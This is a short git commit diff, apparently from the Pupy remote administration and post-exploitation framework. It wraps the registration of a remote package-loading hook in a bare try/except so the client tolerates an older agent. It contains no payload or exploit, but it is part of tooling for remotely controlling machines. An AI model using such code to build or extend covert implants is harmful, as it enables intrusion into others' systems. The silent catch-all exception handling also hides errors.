Don't fail if remote loader api doesn't exists yet

This commit is contained in:
Oleksii Shevchuk 2017-04-04 17:12:09 +03:00
parent eb67bddf83
commit 00997d50e4
1 changed files with 6 additions and 2 deletions

View File

@ -197,8 +197,12 @@ class PupyClient(object):
self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code)
pupyimporter = self.conn.modules.pupyimporter
self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_request_hook)
pupyimporter.register_package_request_hook(self.remote_load_package)
try:
self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_request_hook)
pupyimporter.register_package_request_hook(self.remote_load_package)
except:
pass
try:
self.conn._conn.root.register_cleanup(pupyimporter.unregister_package_error_hook)